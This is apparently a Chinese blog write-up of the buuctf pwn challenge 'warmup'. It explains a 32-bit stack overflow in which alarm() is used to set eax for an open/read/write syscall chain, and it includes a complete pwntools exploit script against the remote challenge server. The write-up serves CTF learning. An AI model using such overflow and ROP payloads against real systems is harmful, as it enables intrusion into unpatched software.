warmup【buuctf-pwn】

warmup【buuctf-pwn】

这是我目前遇到过的一道很有意思的栈题 利用了alram函数来修改我们的eax的值

此题告诉我们当我们需要修改eax时我们的目光可以不仅仅局限于gadget 也可以通过其他函数来达成同样的效果

惯例我们先来checksec一下 仅开启了NX保护的32位程序

请添加图片描述

我们放进ida里看看

可以看到在函数开头我们这里有一个alarm函数这里首先让我们来介绍一下alarm函数的特点

当程序已经运行了一个alarm函数时 此时我们再次执行另一个alarm函数 就会返回第一个alarm函数所设定的时间将去已经经过的时间

请添加图片描述

点进vuln函数

我们可以发现此处存在一个栈溢出 但是由于我们开启了NX保护 并且长度也不够 因此无法通过ret2shellcode的方法达成目的

此处我们需要注意的点是由于该函数开头并没有push ebp因此offset的大小为0x20 不用加上ebp的长度

请添加图片描述

审题结束 开始解题

题目提供给我们了systemcall函数因此我们考虑使用系统调用号来达成目的

由于我们无法执行execve(11,0,0)

因为我们想要执行该函数的时候无法保证后两个参数皆为0

那么我们就考虑使用orw来执行

那么我们该如何执行open函数呢 open函数的调用号为5 因此我们考虑使用alarm函数将eax赋值为5

sleep(5)
payload = b'a'*0x20 + p32(alarm) + p32(syscall) + p32(vuln) + p32(data_addr) + p32(0)
io.send(payload)

接下来就简单了 我们直接调用read 和write函数达成orw 将flag写到data段上也有可读可写

最终成功获取到flag

exp:

from pwn import *
#io = process('./warmup' )
context.log_level="debug"
io = remote( 'node4.buuoj.cn', 28313)
alarm = 0x804810d
vuln = 0x804815a 
write_addr = 0x8048135
data_addr = 0x80491bc
syscall = 0x804813a
read_addr = 0x804811d

payload = b'a'*0x20 + p32(read_addr) + p32(vuln) + p32(0) + p32(data_addr) + p32(0x10)
io.send(payload)
io.recvuntil('Good Luck!\n')
io.send(b'flag\x00\n' )
sleep(5)
payload = b'a'*0x20 + p32(alarm) + p32(syscall) + p32(vuln) + p32(data_addr) + p32(0)
io.send(payload)
io.recvuntil('Good Luck!\n')
payload = b'a'*0x20 + p32(read_addr) + p32(vuln) + p32(3) + p32(data_addr) + p32 (0x40)
io.send(payload )
io.recvuntil('Good Luck!\n')
payload=b'a'*0x20 + p32(write_addr) + p32(vuln) + p32(1) + p32(data_addr) + p32 (0x40)
io.send(payload)
io.interactive()

参考 穿林打叶声吧师傅的b站视频 PWN buuctf刷题 - warmup_哔哩哔哩_bilibili

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值